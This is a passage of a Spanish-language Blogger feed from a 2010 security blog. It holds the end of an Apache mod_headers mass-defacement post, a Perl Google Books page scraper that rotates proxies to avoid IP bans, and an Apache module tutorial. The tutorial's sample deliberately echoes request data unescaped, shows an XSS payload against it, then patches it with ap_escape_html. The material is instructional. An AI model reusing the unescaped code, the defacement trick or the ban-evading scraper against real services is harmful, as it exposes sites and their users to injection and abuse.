Here&amp;lt;/h1&amp;gt;&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;It works!&amp;lt;/h1&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;En resumen, apache bloquea la rescritura del Content-Length y otras cabeceras, pero no se requiere rescribirlas, unicamente crear otras en diferentes lugares y el funcionamiento interno de los navegadores y la inestabilidad del protocolo HTTP completan el proceso :)...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Bytez...&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-8696652173223758731?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/8696652173223758731/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=8696652173223758731' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8696652173223758731'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8696652173223758731'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2010/05/apache-modheader-mass-defacement.html' title='Apache mod_headers Mass Defacement'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-5054802754542993230</id><published>2010-05-03T15:42:00.001-07:00</published><updated>2010-05-03T15:42:37.116-07:00</updated><title type='text'>[Perl] Google Books Downloader</title><content type='html'>En pocas palabras, lo que hace es descargar dentro de la carpeta tmp (que tiene que estar creada en el mismo directorio que el perl), todas las paginas del libro especificado, las descarga una por una como imagen, no he tenido tiempo de buscar otra manera, pero creo que de momento es util para lo que esta planeado (bajar los libros para poder leerlos offline)...&lt;br /&gt;&lt;br /&gt;esta diseñado para books.google.es, pero basta con cambiar el .es por .com (o lo que sea xD) y funcionara igual ;)...&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="php:nocontrols"&gt;&lt;br /&gt;xianur0@Zer0-Null:~$ perl gobookdownloader.pl 0EzERMZHkTIC 0 240 200.219.244.122:80&lt;br /&gt;[-] Consulta inicial realizada, tenemos la cookie: PREF=ID=c882825959dda2ec:TM=1272916829:LM=1272916829:S=jA_XjmG4h8KbYi8K&lt;br /&gt;http://books.google.es/books?id=0EzERMZHkTIC&amp;amp;pg=PA1&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=es&amp;amp;sig=ACfU3U2Xm9aZPXoDIMgy91oaU-I0t892Dg&lt;br /&gt;Descargada pagina: 0&lt;br /&gt;http://books.google.es/books?id=0EzERMZHkTIC&amp;amp;pg=PA1&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=es&amp;amp;sig=ACfU3U2Xm9aZPXoDIMgy91oaU-I0t892Dg&lt;br /&gt;Descargada pagina: 1&lt;br /&gt;http://books.google.es/books?id=0EzERMZHkTIC&amp;amp;pg=PA1&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=es&amp;amp;sig=ACfU3U2Xm9aZPXoDIMgy91oaU-I0t892Dg&lt;br /&gt;Descargada pagina: 2&lt;br /&gt;http://books.google.es/books?id=0EzERMZHkTIC&amp;amp;pg=PA5&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=es&amp;amp;sig=ACfU3U1cFZ1iIemGZygZ9-QCXiQSQoJLHg&lt;br /&gt;Descargada pagina: 3&lt;br /&gt;http://books.google.es/books?id=0EzERMZHkTIC&amp;amp;pg=PA6&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=es&amp;amp;sig=ACfU3U0BFY-HtIbIjoEIdsvgcnKPhpeX8g&lt;br /&gt;Descargada pagina: 4&lt;br /&gt;http://books.google.es/books?id=0EzERMZHkTIC&amp;amp;pg=PA6&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=es&amp;amp;sig=ACfU3U0BFY-HtIbIjoEIdsvgcnKPhpeX8g&lt;br /&gt;Descargada pagina: 5&lt;br /&gt;http://books.google.es/books?id=0EzERMZHkTIC&amp;amp;pg=PA6&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=es&amp;amp;sig=ACfU3U0BFY-HtIbIjoEIdsvgcnKPhpeX8g&lt;br /&gt;Descargada pagina: 6&lt;br /&gt;http://books.google.es/books?id=0EzERMZHkTIC&amp;amp;pg=PA11&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=es&amp;amp;sig=ACfU3U3G4_FjT1tZ4UR2Fl4Dh20ETPf8vw&lt;br /&gt;Descargada pagina: 7&lt;br /&gt;http://books.google.es/books?id=0EzERMZHkTIC&amp;amp;pg=PA12&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=es&amp;amp;sig=ACfU3U1q4ErPv7WAB9OP3AYpAyAOvz-Q1A&lt;br /&gt;Descargada pagina: 8&lt;br /&gt;http://books.google.es/books?id=0EzERMZHkTIC&amp;amp;pg=PA13&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=es&amp;amp;sig=ACfU3U2BQMNwDuVjuZkiUv_zZXXd1AAHmw&lt;br /&gt;[...]&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;en la siguiente version programo que pase las imagenes a un PDF (para poder leer mas comodamente los libros).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ahora sin mas el codigo:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="php"&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;# Google Books Downloader by Xianur0&lt;br /&gt;# uxmal666@gmail.com&lt;br /&gt;# nota: este codigo solo fue diseñado con la utilidad de poder leer los libros de forma offline&lt;br /&gt;# el autor no se hace responsable del uso que se le de.&lt;br /&gt;$ua = LWP::UserAgent-&amp;gt;new;&lt;br /&gt;$id = $ARGV[0];&lt;br /&gt;$inicio = $ARGV[1];&lt;br /&gt;$final = $ARGV[2];&lt;br /&gt;$proxy = $ARGV[3];&lt;br /&gt;die("Google Books Downloader by Xianur0\nUso: perl gobookdownloader.pl [id_libro] [pag. inicial] [pag. final] [Proxy (opcional)]") if($final eq "");&lt;br /&gt;$cookie = "";&lt;br /&gt;$contador = 0;&lt;br /&gt;&lt;br /&gt;sub descargar {&lt;br /&gt;$aurl = $_[0];&lt;br /&gt;$id = $_[1];&lt;br /&gt;$cookie = $_[2];&lt;br /&gt;$proxya = $_[3];&lt;br /&gt;$extencion = ".jpg";&lt;br /&gt;($contenido,$cookie, $tipo) = consultar($aurl,$cookie,"http://books.google.es/books?id=".$id."&amp;amp;printsec=frontcover&amp;amp;source=gbs_slider_thumb",$proxya);&lt;br /&gt;if($contenido ne "") {&lt;br /&gt;if($tipo eq "image/jpeg") {&lt;br /&gt;$extencion = ".jpg";&lt;br /&gt;}&lt;br /&gt;if($tipo eq "image/png") {&lt;br /&gt;$extencion = ".png";&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;$extencion = ".jpg";&lt;br /&gt;}&lt;br /&gt;open(ARCHIVO,"&amp;gt;tmp/".$id."-".$contador.$extencion);&lt;br /&gt;binmode ARCHIVO;&lt;br /&gt;print ARCHIVO $contenido;&lt;br /&gt;close(ARCHIVO);&lt;br /&gt;print $aurl."\n";&lt;br /&gt;print "Descargada pagina: ".$contador."\n";&lt;br /&gt;$contador++;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub consultar {&lt;br /&gt;$url = $_[0];&lt;br /&gt;$cookie = $_[1];&lt;br /&gt;$urlini = $_[2];&lt;br /&gt;$proxy = $_[3];&lt;br /&gt;my $contettype = "";&lt;br /&gt;$ua-&amp;gt;agent("Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9");&lt;br /&gt;$ua-&amp;gt;proxy(['http'] =&amp;gt; 'http://'.$proxy) if($proxy ne "");&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url);&lt;br /&gt;$req-&amp;gt;header('Accept' =&amp;gt; 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8');&lt;br /&gt;$req-&amp;gt;header('Accept-Language' =&amp;gt; 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3');&lt;br /&gt;$req-&amp;gt;header('Accept-Charset' =&amp;gt; 'ISO-8859-1,utf-8;q=0.7,*;q=0.7');&lt;br /&gt;$req-&amp;gt;header('Cache-Control' =&amp;gt; 'max-age=0');&lt;br /&gt;$req-&amp;gt;header('Cookie' =&amp;gt; $cookie);&lt;br /&gt;$req-&amp;gt;header('Referer' =&amp;gt; $urlini) if($urlini ne "");&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt;$contenido = $res-&amp;gt;content;&lt;br /&gt;$respuesta = $res-&amp;gt;as_string;&lt;br /&gt;if($respuesta =~ /Set-Cookie: (.*?);/) {&lt;br /&gt;$cookie = $1;&lt;br /&gt;}&lt;br /&gt;if($respuesta =~ /Content-Type: (.*?)\r?\n/) {&lt;br /&gt;$contettype = $1;&lt;br /&gt;}&lt;br /&gt;} else {&lt;br /&gt;if($res-&amp;gt;status_line =~ /(500 Can't connect to|503 Service Unavailable)/) {&lt;br /&gt;die("[x] IP Baneada (o proxy ".$proxy." invalido), usar otro proxy...\n");&lt;br /&gt;}&lt;br /&gt;return ("",$cookie,"text/html");&lt;br /&gt;}&lt;br /&gt;return ($contenido,$cookie,$contettype);&lt;br /&gt;}&lt;br /&gt;print "\t\t\t\tGoogle Books Downloader by Xianur0\n";&lt;br /&gt;$urlbase = "http://books.google.es/books?id=".$id."&amp;amp;printsec=frontcover&amp;amp;source=gbs_slider_thumb";&lt;br /&gt;($contenido,$cookie,$tipo) = consultar($urlbase,$cookie,"",$proxy);&lt;br /&gt;print "[-] Consulta inicial realizada, tenemos la cookie: ".$cookie."\n";&lt;br /&gt;for($i = $inicio;$i&amp;lt;=$final;$i++) {&lt;br /&gt;$estaurl = '&lt;br /&gt;http://books.google.es/books?id='.$id.'&amp;amp;lpg=PP1&amp;amp;pg=PA'.$i.'&amp;amp;jscmd=click3';&lt;br /&gt;($contenido,$cookie,$tipo) = consultar($estaurl,$cookie,$urlbase,$proxy);&lt;br /&gt;($iurl)  = ($contenido =~ /^{"page":\[{"pid":".*?","src":"(.*?)"/);&lt;br /&gt;$iurl =~ s/\\u0026/&amp;amp;/g;&lt;br /&gt;if($iurl ne "") {&lt;br /&gt;descargar($iurl,$id);&lt;br /&gt;} else { $final++; }&lt;br /&gt;}&lt;br /&gt;print "Descargado exitosamente! :)\n";&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-5054802754542993230?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/5054802754542993230/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=5054802754542993230' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5054802754542993230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5054802754542993230'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2010/05/perl-google-books-downloader.html' title='[Perl] Google Books Downloader'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-3754251183706208899</id><published>2010-04-14T15:17:00.000-07:00</published><updated>2010-04-14T17:18:29.583-07:00</updated><title type='text'>Programacion de mod apache for dummies Capitulo 1</title><content type='html'>Bue me decidi por escribir un ligero curso sobre programacion de mods de apache, y bueno este es el primer capitulo xD.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Notas previas:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-weight: bold;"&gt;1ro:&lt;/span&gt;&lt;/span&gt; Se requiere un minimo de conocimientos de programacion C/C++.&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-weight: bold;"&gt;2do:&lt;/span&gt;&lt;/span&gt; Se requiere tener apache instalado mod_so (no voy a explicar como hacerlo xD) y apxs.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Antes que nada que vendria siendo un mod? &lt;/span&gt;(vaya si comenzaste a leer el texto y no sabes ni de que se trata esto es para ti xD)&lt;br /&gt;&lt;br /&gt;Un mod (llamemoslo asi), es una extencion para apache, imaginemos que apache es un framework donde corremos nuestras aplicaciones, las aplicaciones vendrian siendo los mods, es decir una aplicacion que utiliza las respectivas APIs de apache, controla cualquier funcion realizada por el servidor, y basicamente cualquier otra cosa dentro del servidor apache (obviamente esto no se reduce a solo actuar sobre apache, pero digamos que desde apache se ejecutara todo)&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-weight: bold;"&gt;&lt;span style="font-size:130%;"&gt;Dynamic Shared  Object&lt;/span&gt;&lt;/pre&gt;El servidor HTTP Apache es un programa modular en el que el     administrador puede elegir qué funcionalidades se incluyen     mediante la selección de un conjunto de módulos. En     primer lugar, los módulos pueden compilarse de manera     estática en el binario &lt;code class="program"&gt;&lt;a href="http://httpd.apache.org/docs/2.0/es/programs/httpd.html"&gt;httpd&lt;/a&gt;&lt;/code&gt;. De forma     alternativa, los módulos también pueden compilarse como     Objetos Dinamicos Compartidos (DSOs) que existen de forma     independiente del archivo binario &lt;code class="program"&gt;&lt;a href="http://httpd.apache.org/docs/2.0/es/programs/httpd.html"&gt;httpd&lt;/a&gt;&lt;/code&gt;. Los     módulos que se deseen usar como objetos dinámicos     compartidos pueden compilarse al mismo tiempo que el servidor, o     pueden compilarse en otro momento y ser añadidos después     usando la Herramienta de Extensión de Apache     (&lt;code class="program"&gt;&lt;a href="http://httpd.apache.org/docs/2.0/es/programs/apxs.html"&gt;apxs&lt;/a&gt;&lt;/code&gt;).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;(Citado de la web oficial de apache xD)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ahora sin mas, vamos a comenzar....&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="C"&gt;&lt;br /&gt;#include &amp;lt;http_protocol.h&amp;gt;&lt;br /&gt;#include &amp;lt;http_config.h&amp;gt;&lt;br /&gt;#include &amp;lt;http_core.h&amp;gt;&lt;br /&gt;&lt;br /&gt;static int helloworld_handler(request_rec* r)&lt;br /&gt;{&lt;br /&gt;if (!r-&amp;gt;handler || strcmp(r-&amp;gt;handler, "helloworld"))&lt;br /&gt; return DECLINED;&lt;br /&gt;&lt;br /&gt;if (r-&amp;gt;method_number != M_GET)&lt;br /&gt; return HTTP_METHOD_NOT_ALLOWED;&lt;br /&gt;&lt;br /&gt;ap_set_content_type(r, "text/html");&lt;br /&gt;ap_rputs("&amp;lt;!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"&amp;gt;\n", r);&lt;br /&gt;ap_rputs("&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Hi!&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;", r);&lt;br /&gt;ap_rputs("&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Tu IP: &amp;lt;/h1&amp;gt;", r);&lt;br /&gt;ap_rputs(r-&amp;gt;connection-&amp;gt;remote_ip,r);&lt;br /&gt;ap_rputs("&amp;lt;h1&amp;gt;URI: &amp;lt;/h1&amp;gt;",r);&lt;br /&gt;ap_rputs(r-&amp;gt;uri,r);&lt;br /&gt;ap_rputs("&amp;lt;h1&amp;gt;Request: &amp;lt;/h1&amp;gt;",r);&lt;br /&gt;ap_rputs(r-&amp;gt;the_request,r);&lt;br /&gt;int *contentlength = apr_pstrdup(r-&amp;gt;pool, apr_table_get(r-&amp;gt;headers_in, "Content-Length"));&lt;br /&gt;if(contentlength) {&lt;br /&gt;ap_rputs("&amp;lt;h1&amp;gt;Content-Length: &amp;lt;/h1&amp;gt;",r);&lt;br /&gt;ap_rputs(contentlength,r);&lt;br /&gt;}&lt;br /&gt;ap_rputs("&amp;lt;/h1&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;",r);&lt;br /&gt;return OK;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;static void register_hooks(apr_pool_t* pool)&lt;br /&gt;{&lt;br /&gt;ap_hook_handler(helloworld_handler, NULL, NULL, APR_HOOK_MIDDLE);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;module AP_MODULE_DECLARE_DATA helloworld_module = {&lt;br /&gt;STANDARD20_MODULE_STUFF,&lt;br /&gt;NULL,&lt;br /&gt;NULL,&lt;br /&gt;NULL,&lt;br /&gt;NULL,&lt;br /&gt;NULL,&lt;br /&gt;register_hooks&lt;br /&gt;};&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Vamos por partes...&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="C"&gt;#include &amp;lt;http_protocol.h&amp;gt;&lt;br /&gt;#include &amp;lt;http_config.h&amp;gt;&lt;br /&gt;#include &amp;lt;http_core.h&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Incluimos las librerias basicas a usar...&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="C"&gt;&lt;br /&gt;static int helloworld_handler(request_rec* r)&lt;br /&gt;{&lt;br /&gt;[...]&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Aqui se define como tal las acciones a realizar, para comenzar se toma un parametro (r), el cual&lt;br /&gt;podriamos resumir como el objeto que usaremos para enviar y tomar los datos del envio&lt;br /&gt;(y algunos de la respuesta, pero no viene al caso en este capitulo).&lt;br /&gt;&lt;pre name="code" class="C"&gt;&lt;br /&gt;if (!r-&amp;gt;handler || strcmp(r-&amp;gt;handler, "helloworld"))&lt;br /&gt; return DECLINED;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;decimos que si no esta definido el handler "&lt;span style="font-weight: bold;"&gt;helloworld&lt;/span&gt;" en esta ejecucion, salgamos,&lt;br /&gt;es decir si quitamos estas lineas el resto se ejecutaria en todos los directorios (al hacer consulta),&lt;br /&gt;de modo que no se cargarian las webs en nuestro servidor, de modo que decimos que solo continue cuando este&lt;br /&gt;definido el handler "helloworld", dicho handler lo podemos definir con un .htaccess:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="C"&gt;&lt;br /&gt;SetHandler helloworld&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Ese seria el ejemplo. &lt;span style="font-weight: bold;"&gt;Donde pongamos ese .htaccess se ejecutara nuestro mod.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Seguimos...&lt;br /&gt;&lt;pre name="code" class="C"&gt;&lt;br /&gt;if (r-&amp;gt;method_number != M_GET)&lt;br /&gt; return HTTP_METHOD_NOT_ALLOWED;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Esto seria opcional, unicamente checa que el metodo sea GET, de no ser GET tirara un &lt;span style="font-weight: bold;"&gt;405&lt;/span&gt;.&lt;br /&gt;&lt;pre name="code" class="C"&gt;&lt;br /&gt;ap_set_content_type(r, "text/html");&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Seteamos el content-type de la respuesta a &lt;span style="font-weight: bold;"&gt;"text/html"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="C"&gt;&lt;br /&gt;ap_rputs("&amp;lt;!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"&amp;gt;\n", r);&lt;br /&gt;ap_rputs("&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Hi!&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;", r);&lt;br /&gt;ap_rputs("&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Tu IP: &amp;lt;/h1&amp;gt;", r);&lt;br /&gt;ap_rputs(r-&amp;gt;connection-&amp;gt;remote_ip,r);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Enviamos al navegador (r apuntando) el html inicial y su IP, esto mediante &lt;span style="font-weight: bold;"&gt;r-&amp;gt;connection-&amp;gt;remote_ip&lt;br /&gt;Es decir:&lt;/span&gt; de &lt;span style="font-weight: bold;"&gt;r &lt;/span&gt;llamemos al metodo &lt;span style="font-weight: bold;"&gt;connection&lt;/span&gt; del cual pidamos &lt;span style="font-weight: bold;"&gt;remote_ip&lt;/span&gt; el cual nos retornara la ip del cliente.&lt;br /&gt;&lt;pre name="code" class="C"&gt;&lt;br /&gt;ap_rputs("&amp;lt;h1&amp;gt;URI: &amp;lt;/h1&amp;gt;",r);&lt;br /&gt;ap_rputs(r-&amp;gt;uri,r);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Aqui se imprime nuevamente un html y luego se imprime el "&lt;span style="font-weight: bold;"&gt;URI&lt;/span&gt;" que en dado caso vendria siendo el directorio&lt;br /&gt;consultado que en mi caso seria: "/helloworld/" (ahi defini el handler).&lt;br /&gt;&lt;br /&gt;Como tal es vulnerable a XSS:&lt;br /&gt;&lt;br /&gt;GET http://localhost/helloworld/&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt; HTTP/1.1&lt;br /&gt;Host: localhost&lt;br /&gt;&lt;br /&gt;El resultado sera que nos lanze un bonito alert...&lt;br /&gt;&lt;br /&gt;Pero no se preocupen que apache ya lo tiene resuelto, para ello usar &lt;span style="font-weight: bold;"&gt;ap_escape_html&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Esto es:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ap_escape_html(r-&gt;pool,r-&gt;uri)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Resumiendo parchado quedaria:&lt;br /&gt;&lt;pre name="code" class="C"&gt;&lt;br /&gt;ap_rputs("&amp;lt;h1&amp;gt;URI: &amp;lt;/h1&amp;gt;",r);&lt;br /&gt;ap_rputs(ap_escape_html(r-&gt;pool,r-&amp;gt;uri),r);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Seguimos...&lt;br /&gt;&lt;pre name="code" class="C"&gt;&lt;br /&gt;ap_rputs("&amp;lt;h1&amp;gt;Request: &amp;lt;/h1&amp;gt;",r);&lt;br /&gt;ap_rputs(r-&amp;gt;the_request,r);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Lo que hace como es obvio imprime el request enviado, es decir la primera linea de la consulta HTTP:&lt;br /&gt;&lt;br /&gt;GET /helloworld/%3Cscript%3Ealert(%27xss%27)%3C/script%3E HTTP/1.1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Seria un ejemplo de lo que imprimiria, a simple vista pareseria que no hay XSS, pero...&lt;br /&gt;&lt;br /&gt;GET http://localhost/helloworld/?asas=&amp;lt;&amp;gt; HTTP/1.1                                                &lt;br /&gt;Host: localhost&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Wed, 14 Apr 2010 22:49:22 GMT&lt;br /&gt;Server: Apache/2.3.5 (Unix)&lt;br /&gt;Content-Length: 231&lt;br /&gt;Content-Type: text/html;charset=ascii&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;title&amp;gt;Hi!&amp;lt;/title&amp;gt;&lt;br /&gt;&amp;lt;h1&amp;lt;Tu IP: &amp;lt;/h1&amp;gt;127.0.0.1&lt;br /&gt;&amp;lt;h1&amp;gt;URI: &amp;lt;/h1&amp;gt;/helloworld/&lt;br /&gt;&amp;lt;h1&amp;gt;Request: &amp;lt;/h1&amp;gt;GET http://localhost/helloworld/?asas=&lt;span style="font-weight: bold;"&gt;&amp;lt;&amp;gt;&lt;/span&gt; HTTP/1.1&lt;br /&gt;&lt;br /&gt;Todo depende de la consulta que se se llama...&lt;br /&gt;&lt;br /&gt;Lo mismo...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; ap_rputs(ap_escape_html(r-&amp;gt;pool,r-&amp;gt;the_request),r);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;y nuevamente solucionado...&lt;br /&gt;&lt;br /&gt;Lo siguiente en la lista:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="C"&gt;int *contentlength = apr_pstrdup(r-&amp;gt;pool, apr_table_get(r-&amp;gt;headers_in, "Content-Length"));&lt;br /&gt;if(contentlength) {&lt;br /&gt;ap_rputs("&amp;lt;h1&amp;gt;Content-Length: &amp;lt;/h1&amp;gt;",r);&lt;br /&gt;ap_rputs(contentlength,r);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Primero que nada se intenta tomar el valor de la cabecera Content-Length, luego si lo pudo tomar lo imprime.   Hablando un poco mas tecnicamente, apache utilizar tables, que vendrian siendo como hashtables en otros lenguajes de programacion, o como una matriz con indice literal. Entonces utilizamos la funcion apr_table_get() para obtener el valor que nos interesa (en este caso el valor de Content-Length), si les interesa mas info al respecto de las hashes:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://thomas.eibner.dk/apache/table.html"&gt;Introduction to the Apache table API&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Muchos me diran ahi hay otro XSS!, pero no como tal, es decir:&lt;br /&gt;&lt;br /&gt;Apache automaticamente valida el content-length, es decir si no es numerico, entero y mayor de 0, retorna un 413 equest Entity Too Large.&lt;br /&gt;&lt;br /&gt;Aparte de que solo estamos permitiendo GET, asi que amenos que sea una aplicacion muy mal diseñada y que trabaje con html, no deberia haber tanto problema...&lt;br /&gt;&lt;br /&gt;Claro que si no se sienten comodos, pueden filtrarlo de la misma forma que se hizo arriba xD...&lt;br /&gt;&lt;pre name="code" class="C"&gt;&lt;br /&gt;ap_rputs("&amp;lt;/h1&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;",r);&lt;br /&gt;return OK;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Se imprime el final del html y retornamos OK (ejecucion correcta).&lt;br /&gt;&lt;br /&gt;Hasta aqui vamos programado lo que va a hacer, pero como inicializarlo?, Eso hace el resto de codigo:&lt;br /&gt;&lt;pre name="code" class="C"&gt;&lt;br /&gt;static void register_hooks(apr_pool_t* pool)&lt;br /&gt;{&lt;br /&gt;ap_hook_handler(helloworld_handler, NULL, NULL, APR_HOOK_MIDDLE);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;module AP_MODULE_DECLARE_DATA helloworld_module = {&lt;br /&gt;STANDARD20_MODULE_STUFF,&lt;br /&gt;NULL,&lt;br /&gt;NULL,&lt;br /&gt;NULL,&lt;br /&gt;NULL,&lt;br /&gt;NULL,&lt;br /&gt;register_hooks&lt;br /&gt;};&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Ahora nos queda instalar nuestro primer "helloworld" en apache:&lt;br /&gt;&lt;br /&gt;Paso 1:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;root@Zer0-Null:&lt;/span&gt;/usr/local/apache2/bin# ./apxs -cia /home/xianur0/Escritorio/mod_test.c&lt;br /&gt;Paso 2:&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;root@Zer0-Null:&lt;/span&gt;/usr/local/apache2/bin# ./httpd -k restart&lt;br /&gt;&lt;br /&gt;Si no hay problema en ninguno de los dos pasos, tendremos instalado nuestro modulo,&lt;br /&gt;y si tambien ya hemos puesto el htaccess, nuestro primer modulo debe de estar funcionando&lt;span style="font-weight: bold;"&gt; :)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Bytez Xianur0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-3754251183706208899?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/3754251183706208899/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=3754251183706208899' title='0 comentarios'/><link rel='edit' type='application/atom+xml' 